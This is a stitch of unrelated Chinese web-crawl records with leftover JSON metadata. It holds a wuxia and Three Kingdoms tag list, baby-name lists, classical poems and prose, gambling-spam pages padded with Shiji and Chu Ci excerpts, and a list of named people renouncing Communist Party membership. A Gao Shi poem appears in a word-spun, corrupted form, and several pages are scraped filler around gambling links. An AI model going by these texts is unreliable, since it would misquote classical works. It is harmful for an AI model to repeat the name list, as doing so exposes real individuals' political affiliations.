三少爺的劍 孫策 法顯 赤壁之戰 阿青 洪七公 邊城浪子 絕情谷 霍去病 紫血大法 黃天大法 丁奉 諸葛亮 九玄大法 成昆 張郃 大喬 華山派 林平之 九韶定音劍 裂馬槍 八賢王 絕代雙驕 益州之戰 丐幫 月異星邪 奕劍術 梅超風 沖虛道長 清風十三式 儀琳 司馬懿 趙志敬 挾刀揉手 龐統 一燈大師 逍遙派 破碎虚空 淑女劍 趙敏 武林外史 蕭十一郎 任盈盈 滿寵 石清 馬忠 陳近南 楊成協 魔佛十式 七流星 子貴母死 大手印 雲行雨飄 金丹大法 胡昭 傻姑 群狐 倪匡 蒼穹十三劍 化石神功 郭馬之亂 五絕神功 東洋神風刀法 九月鷹飛 段譽 五毒教 明玉功 典韋 交阯之亂 散手八撲 大唐雙龍傳 南匈奴 劉備稱帝 石亭之戰 仙門劍訣 北冥神功 嫁衣神功 歐陽鋒 水笙 夷陵之戰 三尸腦神丹 雙手互搏 碎金剛乘 曹丕篡漢 嵩山十三太保 裘千仞 摩尼教 古龍 合淝之戰 蔣幹 花間十二支 吳國太 天涯明月刀 楊過 張無忌 天外飛仙 護花鈴 掩月劍法 孫尚香 博望坡之戰 黃權 桃幹仙 定閒師太 迎風一刀斬 蔣四根 星彩 凌波微步 絕不低頭 虛竹 怒劍狂花 張翼 鳳天南 大地飛鷹 藍鳳凰 扭轉乾坤殺手劍 晉滅吳之戰 左冷禪 蘇荃 賭局 圓月彎刀 幻魔身法 炎陽奇功 鬼王鞭 金蛇劍 官渡之戰 蕭逸 伏養氣功 石中玉 劍客行 李元霸 大意失荊州 羊祜 魏晉玄學 多情劍客無情劍 溫瑞安 伏魔劍法 任我行 蔣濟 司馬昭 金錢幫 神蛛凌空銀絲渡虛 曹真 九轉還童 鬼火十三拍 驚魂六記 魅影劍法 華山派 桃花島 狂沙刀法 夏侯淵 丁不四 五行劍法 楊儀 五嶽劍派 龍木島主 孫權建國 地煞拳 名劍風流 魅變術 張三丰 章進 龜息功 飄香劍雨 燕子三抄水 大旗英雄傳 銅錘 長河正氣 鮑三娘 不死七幻 張飛 華山論劍 諸葛誕 心硯 星际浪子 衡山派 喬鋒 飛燕七式 彈指神通 石田三成 起風了 旋風十八矛 甘寧 左慈 毛玠 黯然銷魂掌 書劍恩仇錄 黃蓉 狄雲 穿雲劍法 飛鷹十三刺 鎖子縮骨功 霓裳仙舞 殭屍拳 韋一笑 臥龍 風清揚 永安之戰 于禁 彼岸劍訣 王異 天外流星 笑傲江湖 樂進 軟蝟甲 南皮之戰 孫皓 袁紫衣 關索 七星龍王 陸抗 七十二路分筋錯骨手 九字真言手印 破蓮八著 竹節鞭 漢中之戰 岳不羣 趙雲 天地明環 下邳之戰 公孫綠萼 石雙英 袖裡乾坤 儀琳 西蜀地形圖 吳六奇 荀攸 雙兒 大圓滿杖法 壽春馳援 炎元真氣 胡斐 一串鞭 魏滅蜀之戰 打狗棒法 楊逍 披風杖法 荊楚爭雄記 劍罡同流 鐵脊蛇矛 四大名捕 邊荒傳說 浣花洗劍錄 楊頂天 孫權 殘金缺玉 空綁術 吸星大法 一休 紅花會 曹丕伐吳 五虎斷門刀 崆峒派 天龍八部 逍遙訣 沐劍屏 郭芙 五毒神功 馮錫范 姑蘇慕容 男人見不得 尋秦記 天魅凝陰 烏金血劍 歡樂英雄 九品中正制 蒼穹十三式 豔陽刃法 馬皇后 關平 奼女心法 郭襄 柳絮劍法 禿筆翁 武當派 瘋魔上天下地一百零七撃 白世鏡 荀彧 四大惡人 周泰 劍氣書香 曹休 太史慈 于萬亭 玄慈 仇國論 阿九 吳應熊 董允 刑遁術 折花百式 丁春秋 賈充 劍毒梅香 程普 耶律齊 史火龍 青城派 流星蝴蝶劍 玄鐵劍法 張春華 界橋之戰 太虛勁 方怡 金蛇郎君 血戰十式 橫煉罡 一指頭禪 鳥渡術 九轉無相神功 飛鶯飛鷹 連城訣 丈八蛇矛 沙影二十八劍 急風十三刺 水雲袖法 勞德諾 變天擊地大法 無塵道長 廖化 關羽 阿珂 凌統 兵器譜 金庸 藏密智能書 劉禪 黃祖 二宮之爭 玉女媚術 種玉大法 塌上策 謝煙客 鐵蒺藜骨朵 鍾會之亂 程靈素 董卓 葵花寶典 曹純 王平 少林神拳 徐庶 越女劍 俠客行 歸辛樹 朱然 鷹變十三式 飛龍五式 謝遜 王語嫣 覆雨翻雲 太清元功 丁璫 費禕 射鵰三部曲 樊城之戰 小昭 日月麗天大法 孫曉 太虛錯手 菩提心功 五虎斷門刀 捨身大法 賈南風 鴛鴦刀 決戰前後 滅絕師太 移花接玉 孫堅 道心種魔大法 黑鬼爪 完顏洪烈 曹叡 司馬師 涼州軍劫天子 失魂引 空城計 流星鎚 姜維 白馬嘯西風 羅憲 袁承志 井中八法 陽頂天 劉表 李廣 楊修 衛春華 尉遲恭 曹操攻徐州之戰 魏延 小喬 逍遙拆 玄氣大法 賈詡 馬超 孟獲 陳家洛 黃皓專權 東興之戰 七殺手 韋小寶 青龍會 臥龍生 張召重 歸魂十八爪 張遼 建寧公主 魏滅蜀之戰 幻影劍法 掃地僧 劉備 不碎金剛 玩命拳 碧血洗銀槍 童子功十三太保橫練 桃谷六仙 黃藥師 白阿繡 石破天 蕭遠山 宗預 幽灵山庄 陳宮 無想十法 換日大法 紫氣天羅 呂布 神州奇俠 誰來跟我乾杯 關興 鄭丰 雙尖軟矛 破精自絕大法 江南七怪 郭嘉 曹操 大人物 楚留香新傳之新月傳奇 十住大乘功 雌雄雙股劍 菊花的刺 風鈴中的刀聲 就地十八滾 無想奼女大法 韋春花 荊州 天魔心法 十二都天神功 滿地開花八十—式 飛天狐狸 神龍教 移玉大法 曹仁 紫霞神功 方證大師 飛龍大九式 日月神教 恆山派 冷月寶刀 黃皓 齊桓公 迷蹤七變 少林三渡 金針開穴之法 無念禪功 銀雕 瑛姑 天心蓮環 牛郎一百零八棍 天魔手七十二式 夏青青 楚留香新傳之蝙蝠傳奇 銀龍手 白狼山之戰 上官鼎 黃蓋 桃花仙 木婉清 孫策平江東之戰 孫皓暴政 海神 梅花鉤 血海飄香 曾柔 諸葛亮南征 黃鍾公 隆中對 屯田制 吳起 降龍伏虎羅漢拳 飛狐外傳 夢姑 君子劍 飛刀,又見飛刀 桃枝仙 康敏 合肥之戰 九難 左手刀法 張角 倚天劍 韓當 黑白子 趙半山 徐盛 枯木神功 全真教 雷霆刀法 七禽身法 蛤蟆功 夏侯嬰 七傷拳 第六天魔王 白自在 呂后 不死印法 逆水寒 情人箭 乾隆 曹操討伐袁術之戰 一扇十八搖 日月當空 潼關之戰 定靜師太 殷離 獨孤九劍 龐德 靈犀一指 陸無雙 李牧 玉女劍法 索額圖 曹睿 達爾巴 羅漢伏虎拳 范遙 董卓討伐戰 曹爽專權 姜維北伐 定世鞭 奪命簪 戰神圖錄 桃葉仙 岳靈珊 余滄海 莫大先生 丞相 翔鷹劍法 沉沙劍法 彭長老 夏姬 王元姬 古龍作品 布衣神相 梁羽生 七种武器 三十六招鳥啄擊法 吳質 法正 韓小瑩 摘心手 無崖子 先天氣功 流星鎚 內家橫練 丁不三 鍾靈 金剛門 鬼魅潛蹤 蝶雙飛 崑崙派 尼摩星 心佛掌 楚留香新傳 曹丕 白骨爪 天地明環 歸藏鞭 戚芳 慕容復 司馬昭弒君 楚留香新傳之借屍還魂 火併蕭十一郎 桃根仙 聖火令 小龍女 九陽真經 回轉斧法三十式 彩環曲 合淝之戰 裘千尺 徐榮 閔柔 馬岱 郭淮 福康安 丹心術 魔心連環 諸葛亮北伐 劍玄錄 枯榮大師 屠龍刀 亡神十八掌 雪山飛狐 貂蟬 笮融 東興之戰 游坦之 李莫愁 大武俠時代 馬大元 如意八打 武當掌法 西陵之戰 文鴦 郭解 汪劍通 燎原百擊 夷陵之戰 段正明 化骨綿掌 尉遲敬德 星宿派 大開碑手 魅影身法 神刀斬 泰山派 金輪法王 刀劍雙殺七七四十九式 德川家康 衛青 壽春三叛 江夏戰神 駱冰 長平公主 高平陵之變 暴雨梨花釘 街亭 無相神功 降龍十八掌 陸遜 尹克西 刀白鳳 朱子柳 文醜 伊達政宗 明珠 洪承疇 封天閉地 呂壹專權 郭靖 張大春 蔡文姬 先天功 織女劍法 段正淳 連體心法 死眷術 建安文學 不戒和尚 霍都 天鷹教 韋小寶 霍青桐 慕容博 小鷹爪功 曹洪 大拍手 程英 鐵騎快劍 歐陽克 華陀針 石亭之戰 武夷派 呂布爭徐州 絕代雙驕角色列表 穆念慈 燕子雙飛 定逸師太 令狐沖 陸小鳳傳奇 武當七俠 七殺拳 九陰真經 張苞 鄧艾 九陽神功 李秋水 鹿鼎記 血鸚鵡 鰲拜 空明拳 天魔擊三大散招 袁紹 冰玄勁 龍門鏢局 東方不敗 覆雨劍法 譙周 吳三桂 梅花鉤 曹操迎天子 玄鐵重劍 夏侯霸 遊俠錄 全真七子 太極七截棍 神鵰俠侶 諸葛瞻 劍花煙雨江南 蝴蝶穿花七十二式 枯禪玄功 飛伏一百零八槍 夏侯惇 合淝新城之戰 許褚 阿紫 呂母 滅神掌 康熙 呂玲綺 雙修大法 諸葛恪 湘妃劍 白玉老虎 武三通 月英 徐晃 蔣琬 萬物波動心法 六脈神劍 伏虎神拳 天魔大法 魯肅 楊康 峨嵋派 大元丹法 達摩手 碧落紅塵 青龍偃月刀 林遠圖 馬謖 斷絕神功 蕭摩訶 公孫止 神君別傳 蒼穹神劍 辟邪劍法 余魚同 瀟湘子 挾天子 古墓派 天一掌 紫微軟劍 青松劍譜 祝融 金絲綿掌 少林派 丞相,起風了 梵我如一 龍吟曲 田伯光 英雄無淚 慈航劍典 呂蒙","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/www.herostory.tw\/alltags?from=hottags","date":"2021-04-11T18:52:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038064898.14\/warc\/CC-MAIN-20210411174053-20210411204053-00618.warc.gz","language":"lzh","language_score":0.5900566578,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5900566577911377, \"nan_Hani_score\": 0.2526952922344208, \"cmn_Hani_score\": 0.12175025045871735, \"yue_Hani_score\": 0.03296069800853729}","num_words":825,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.593,"perplexity_score":500.0,"cluster_detection":1} +{"text":"在线起名\n「在线起名」姓名,蕴涵了人的精、气、神,传达着天地之玄机。姓名分析综合了八字和姓名五格、三才配置、81数理来解析姓名。\n何柏红 何宝琳 何宝莹 何必文 何碧丽 何秉玉 何炳美 何昌丽 何昶妍 何郴艳 何陈玲 何成英 何承雪 何春妹 何春莹 何慈英 何爨瑶 何道文 何东玲 何方丽 何芳丽 何飞瑶 何芬芳 何芬贤 何风艳 何风英 何凤芳 何凤颖 何富英 何古秀 何冠美 何冠英 何光红 何桂美 何国琼 何国瑛 何海琴 何韩燕 何翰文 何皓文 何红艳 何宏娟 何宏娜 何洪娟 何洪琳 何洪琴 何洪冉 何洪妍 何鸿琴 何花红 何焕冉 何季萍 何家莉 何家丽 何家妹 何家媛 何嘉茹 何健莹 何娇丽 何杰文 何金洁 何金倩 何进红 何景琳 何婧琳 何婧玲 何婧凌 何敬梅 何九琳 何九玲 何聚萍 何珏芳 何俊燕 何俊颖 何科婷 何可文 何坤婵 何坤妍 何坤英 何坤瑛 何昆英 何琨英 何锟英 何梨萍 何黎雪 何利玲 何砺文 何砺英 何林倩 何林英 何林玉 何琳芯 何琳鑫 何琳星 何琳媛 何琳珍 何灵芬 何灵婧 何灵琼 何灵婷 何灵霞 何灵嫣 何灵艳 何灵燕 何灵英 何灵媛 何玲飞 何玲月 何龙雪 何禄英 何曼玲 何梅娟 何梅琴 何妹芝 何梦燕 何妙娟 何妙倩 何明娟 何明秀 何沐冉 何沐茹 何沐婷 何沐霞 何沐媛 何牧霞 何娜煊 何娜烨 何妮蓉 何培颖 何沛芳 何沛霞 何沛莹 何沛玉 何佩燕 何娉婷 何萍聚 何其颖 何起燕 何茜倩 何倩茜 何倩芹 何巧梅 何沁怡 何清怡 何庆红 何琼琼 何琼英 何秋玉 何铨芳 何荣美 何蓉娣 何蓉晖 何蓉慧 何蓉萤 何瑞芬 何若媛 何赛英 何圣雪 何诗妍 何诗瑶 何诗悦 何十芳 何抒琴 何淑娥 何水妹 何水媛 何舜英 何思芳 何思芬 何思梅 何松洁 何松霞 何素娟 何天琴 何天英 何天媛 何铁梅 何婷慧 何婷宇 何宛蓉 何宛婷 何晚霞 何婉玉 何畹婷 何威娜 何韦丽 何委玲 何卫芳 何文倩 何汶瑶 何熙媛 何细芬 何霞玲 何显文 何相悦 何香蓉 何香悦 何小娥 何小怡 何欣霞 何鑫洁 何兴红 何秀苇 何秀霞 何秀乡 何秀芗 何秀香 何秀湘 何秀葙 何秀昕 何秀璇 何秀颖 何旭红 何宣玲 何宣颖 何雪洁 何雪琳 何雪玉 何娅茜 何嫣芸 何燕奇 何燕珍 何阳芬 何阳莉 何阳萍 何瑶希 何瑶熙 何耀文 何业丽 何一洁 何一嫣 何依娜 何仪琳 何怡蓓 何怡尘 何怡芬 何怡丰 何怡锋 何怡蕊 何怡恬 何怡贤 何怡娴 何怡歆 何怡鑫 何怡影 何义红 何艺婷 何亦婷 何奕瑶 何弈婷 何逸萍 何毅文 何熠瑶 何银梅 何尹冉 何胤莹 何瑛南 何瑛楠 何盈芳 何盈莹 何莹翼 何颖颖 何影丽 何影美 何勇芬 何友娟 何瑜悦 何宇红 何宇洁 何雨蓉 何雨瑶 何煜萍 何煜文 何媛莉 何媛烨 何月玲 何月雪 何悦茹 何悦芗 何悦相 何悦湘 何悦襄 何悦翔 何悦享 何悦阳 何悦茵 何悦瑜 何云美 何贞婷 何珍媛 何震英 何芝娥 何志花 何志美 何忠芳 何忠丽 何祝媛 何子萍 何子瑶 何子媛","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/m.pc89.com\/xm-s1-21-2.html","date":"2021-09-21T10:32:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057202.68\/warc\/CC-MAIN-20210921101319-20210921131319-00584.warc.gz","language":"lzh","language_score":0.9985796213,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9985796213150024}","num_words":302,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"朝代:唐朝 作者:高適 君不见芳树枝,春花堕尽蜂不窥见。君不见梁上泥,秋风始高燕不浅海。荡子从军事出征,蛾眉婵娟死守空闺。独宿大自然堪下泪,况复时闻鸟夜愁。\n本文来源:华体会-www.baheo.com","id":"","dump":"CC-MAIN-2022-27","url":"http:\/\/www.baheo.com\/a\/xinwenzixun\/gongsidongtai\/1631.html","date":"2022-07-03T06:44:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104215790.65\/warc\/CC-MAIN-20220703043548-20220703073548-00185.warc.gz","language":"lzh","language_score":0.4187538326,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.41875383257865906, \"cmn_Hani_score\": 0.27979037165641785, \"yue_Hani_score\": 0.09616699069738388, \"jpn_Jpan_score\": 0.07152493298053741, \"wuu_Hani_score\": 0.04014376550912857, \"nan_Hani_score\": 0.03551542013883591, \"und_Xsux_score\": 0.03076355531811714}","num_words":4,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.178,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.415,"perplexity_score":500.0,"cluster_detection":1} +{"text":"作者簡介:芝麻开门,古董臺灣網網站站長,愛好古董古玩收藏,尤擅長古錢幣類鑒定。\n歸去來兮辭 歸去來兮,田園將蕪胡不歸?既自以心為形役,奚惆悵而獨悲?悟已往之不諫,知來者之可追。\n實迷途其未遠,覺今是而昨非。舟遙遙以輕颺,風飄飄而吹衣。問征夫以前路,恨晨光之熹微。乃瞻衡宇,載欣載奔。\n僮僕歡迎,稚子候門。三徑就荒,松菊猶存。攜幼入室,有酒盈樽。引壺觴以自酌,眄庭柯以怡顏。倚南窗以寄傲,審\n容膝之易安。園日涉以成趣,門雖設而常關。策扶老以流憩,時矯首而遐觀。雲無心以出岫,鳥倦飛而知還。景翳翳\n以將入,撫孤松而盤桓。歸去來兮,請息交以絕游。世與我而相違,復駕言兮焉求?悅親戚之情話,樂琴書以消\n憂。農人告余以春及,將有事於西疇。或命巾車,或棹孤舟。既窈窕以尋壑,亦崎嶇而經丘。木欣欣以向榮,泉涓涓\n而始流。善萬物之得時,感吾生之行休。已矣乎!寓形宇內復幾時?曷不委心任去留?胡為乎遑遑欲何之?富貴非吾\n願,帝鄉不可期。懷良辰以孤往,或植杖而耘耔。登東皋以舒嘯,臨清流而賦詩。聊乘化以歸盡,樂\n夫天命復奚疑!延祐五年二月廿八日為雲山書\nTHE END\n喜歡這篇文章記得點贊分享喲","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/gudongtw.com\/23360.html","date":"2023-03-28T04:37:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296948765.13\/warc\/CC-MAIN-20230328042424-20230328072424-00452.warc.gz","language":"lzh","language_score":0.3973920643,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.39739206433296204, \"cmn_Hani_score\": 0.3547845184803009, \"yue_Hani_score\": 0.05903103947639465, \"nan_Hani_score\": 0.03016652725636959, \"und_Tang_score\": 0.023126231506466866, \"wuu_Hani_score\": 0.022018790245056152, \"jpn_Jpan_score\": 0.020436791703104973, \"zxx_Latn_score\": 0.014470317400991917}","num_words":14,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.301,"perplexity_score":500.0,"cluster_detection":1} +{"text":"探求闭联原料。王如松 王万月 王萍怡 王凌晴 王秋昕 王香熙 王问雁 王思秀 王芬燕 王含海 王静帆 王柏倚 王紫菱 王柳月 王莲蝶 王香芹 王春妍 王芸菱 王香莲 王玉润 王凝甜 王君洁 王凌薇 王黛芹 王媛婷 王晓琦 王晓芳 王妮曼 王寒欢 王月珠可选中1个或多个下面的症结词,因该有双水汪汪的大眼睛,以是有个\"汪\"字。女孩嘛,\"怜\"不测她往后会怜悯,分析了她的善良也可直接点\"探求原料\"探求悉数题目。\nTELEPHONE","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/cybfit.com\/yongyuanyulezixun\/466.html","date":"2019-05-20T08:53:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232255837.21\/warc\/CC-MAIN-20190520081942-20190520103942-00373.warc.gz","language":"lzh","language_score":0.6194664836,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6194664835929871, \"cmn_Hani_score\": 0.31937429308891296, \"nan_Hani_score\": 0.04538729414343834, \"wuu_Hani_score\": 0.014896524138748646}","num_words":31,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.718,"perplexity_score":500.0,"cluster_detection":1} +{"text":"退团队:凌集 施斯 何苏苏 陈远 李思 张辉 李图玉 李清静 周丽华 周有生 周朝才 曽更聚 曽洞安 喻平 齐富美 李四英 赖爱香 毛晚兴 朱梅花 李华南 毛俩 毛健 毛祥 毛运 毛笑 毛小 陈强 毛俊良 胡晶晶 胡良根 朱远军 朱雀辉 毛林香 唐爱 李玉江 李福希 余汇仁 喻阿娇 张福安 肖沉香\n退团:陈伍 潘乃福 彭棹林 邹嫁良 敖哲明 李思齐 张海洋 刘源 徐怀玉 朱希 童金礼 李亮 陈仁 李丹阳 李纯良 李玉梅 柏安 李幼白 冯新和 冯新仁 冯金义 刘稳龙 李小六 邹仁根 邹丹 陶柏祥 阳金元 阳东山 徐克 食聪 吴恕平 袁平福\n退队:陈又 徐小华 毛燕燕 李大生 李小毛 李正兴 阳国才 阳兴旺 刘会娥 黄业鑫 黄业喧 刘四毛 刘辉 吴谢娥 吴付凡 吴怀娥 凌有为 林婉如 李香 喻祥 喻吉 李志辉 鲁军全 童关 李赛辉 李家东 欧阳国 张免 李林 秦福来 施世重 付四梅 陈四贤 李晓梅 刘远福 李圆 陈久玉 陈秀美 徐聘香 吴飞 李华 徐柏琦 冯超群 李云武 沈丽 张明 冯宇 黄桂湘 王福 黄金元 李贵安 吴艳飞 邱素 余婷 余敏 毛爽姿 李如艺 李殷如 艾崇文 毛运君 毛水平 邓河水 胡志宇 落成 胡珍珍 朱满香 唐元清 刘善美 李新祥 陈梅香 张平安 赖福全 王赛兰 李季福 吴丽 刘占英 武三元 黄焕英 陈晚飞 陈香辉 吴美香 张荣华 高焕伏 黄伏全 齐焕新\n退党团队:李仙梅 袁武生 袁登高 陈玲美 哲格华 林特 杨小亮 张小梅 李英 余玲莉 李元香 李元福 刘爱美 唐清风 欧阳晚贵 高宽非\n退党团:李华 朱洋 王如 李家成 魏兵 王团 李福康\n退党:张昆仑 张成林 范正 黄革 钟平 邓福生 徐谢华 邱克兰 朱德福 刘福明 阳丽 李剧根 罗福 陈长寿\n受委托,代已故李元章退党团。\n家属代已故罗必全退党。","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/tuidang.epochtimes.com\/index\/showpost\/id\/24581772","date":"2019-08-22T17:30:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027317339.12\/warc\/CC-MAIN-20190822172901-20190822194901-00467.warc.gz","language":"lzh","language_score":0.4071910679,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.40719106793403625, \"cmn_Hani_score\": 0.38347601890563965, \"nan_Hani_score\": 0.19393713772296906, \"wuu_Hani_score\": 0.012620940804481506}","num_words":196,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.265,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.407,"perplexity_score":500.0,"cluster_detection":1} +{"text":"古时候有一句话叫做教子一艺不如赐子好名意思好听的秦姓女孩起名案例一: 姓氏:秦 性别:女 出生。\n秦艺画廊\n秦艺文化活动传媒\n秦瑶芙 秦蝶倩 秦蝶恬 秦影娜 秦缘玲 秦佩萱 秦缘冰 秦艺檀 秦萱冰 秦好名字 好名字为你免费提供最好听宝宝名字 查看熊掌号。\n※ 秦姓男孩起名大全秦姓好听 秦灿岚 秦江通 秦伊蕊 秦康麟 秦玮 秦文韬 秦秦艺卉 秦倚曦 秦骁 秦岩 秦司雨 秦文友 秦光海 秦宣谷 秦考植 秦丰城 秦。\n人家当然不能让你做什么好东西现在大部分是测试或者擦屁股的活主要的原因是尤其是秦艺说的比唱的还好听全TM的胡话骗骗应届生吧也就。不说了越说越。\n秦艺国际设计云深处","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/bbjkgs.tw\/smlkap\/034552.htm","date":"2020-01-20T08:18:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250598217.23\/warc\/CC-MAIN-20200120081337-20200120105337-00079.warc.gz","language":"lzh","language_score":0.5821906924,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5821906924247742, \"cmn_Hani_score\": 0.3075106143951416, \"wuu_Hani_score\": 0.061359114944934845, \"nan_Hani_score\": 0.02477993629872799, \"yue_Hani_score\": 0.01782122254371643}","num_words":39,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.572,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EDF苹果在印度市场推动高端iPhone销量并扩大生产布局\n菑川王病,召臣意诊脉,曰:\"蹶上为重,头痛身热,使人烦懑。\"臣意即以寒水拊其头,刺足阳明脉,左右各三所,病旋已。病得之沐发未乾而卧。诊如前,所以蹶,头热至肩。\n子曰:\"攻乎异端,斯害也已!\"\n三年正月乙巳,赦天下。长星出西方。天火燔雒阳东宫大殿城室。吴王濞、楚王戊、赵王遂、胶西王卬、济南王辟光、菑川王贤、胶东王雄渠反,发兵西乡。天子为诛晁错,遣袁盎谕告,不止,遂西围梁。上乃遣大将军窦婴、太尉周亚夫将兵诛之。六月乙亥。赦亡军及楚元王子\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n六十四年,庄公卒,子釐公禄甫立。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/g97tt.georgehamm.com\/Apple\/VSRNQ55089.html","date":"2020-02-27T04:08:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146647.82\/warc\/CC-MAIN-20200227033058-20200227063058-00481.warc.gz","language":"lzh","language_score":0.5680531859,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5680531859397888, \"cmn_Hani_score\": 0.21064308285713196, \"nan_Hani_score\": 0.07562083750963211, \"jpn_Jpan_score\": 0.02025270275771618, \"wuu_Hani_score\": 0.019131697714328766, \"zxx_Latn_score\": 0.016209425404667854, \"yue_Hani_score\": 0.013878812082111835, \"und_Tang_score\": 0.010186982341110706}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.178,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.48,"perplexity_score":500.0,"cluster_detection":1} +{"text":"诚搏娱乐上银基金唐云以三大投资视角坚守初心与责任\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n济阴哀王不识者,梁孝王子,以孝景中六年为济阴王。一岁卒,无子,国除,地入于汉,为济阴郡。\n臣闻明主立政,有功者不得不赏,有能者不得不官,劳大者其禄厚,功多者其爵尊,能治众者其官大。故无能者不敢当职焉,有能者亦不得蔽隐。使以臣之言为可,原行而益利其道;以臣之言为不可,久留臣无为也。语曰:\"庸主赏所爱而罚所恶;明主则不然,赏必加於有功,而刑必断於有罪。\"今臣之胸不足以当椹质,而要不足以待斧钺,岂敢以疑事尝试於王哉!虽以臣为贱人而轻辱,独不重任臣者之无反复於王邪?\n四十一年,楚灭陈。孔子卒。\n\"夫秦下轵道,则南阳危;劫韩包周,则赵氏自操兵;据卫取卷,则齐必入朝秦。秦欲已得乎山东,则壁举兵而乡赵矣。秦甲渡河逾漳,据番吾,则兵必战於邯郸之下矣。此臣之所为君患也。","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/fhskr.u7520.com\/?wltys\/32790.html","date":"2020-07-04T21:16:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655886706.29\/warc\/CC-MAIN-20200704201650-20200704231650-00405.warc.gz","language":"lzh","language_score":0.593595922,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5935959219932556, \"cmn_Hani_score\": 0.29123780131340027, \"nan_Hani_score\": 0.052358485758304596, \"yue_Hani_score\": 0.017526861280202866}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.447,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1.姓田的女孩取名\n田绍豫 田景徽 田嘉遥 田沃晶 田娰筌 田方姬 田学牡 田桥研 田诞花 田群嘉 田滔兰 田弈樱 田悲清 田户音 田负燕 田音荷 田奕萤 田岚敏 田萱金 田述妙 田游婵 田萍婧 田跋同 田励蔚 田芮娟 田朗莉 田讯蕊 田笑清 田铮园 田昶巧 田徽翠 田晴笑 田傍立 田秩娰 田鑫靖 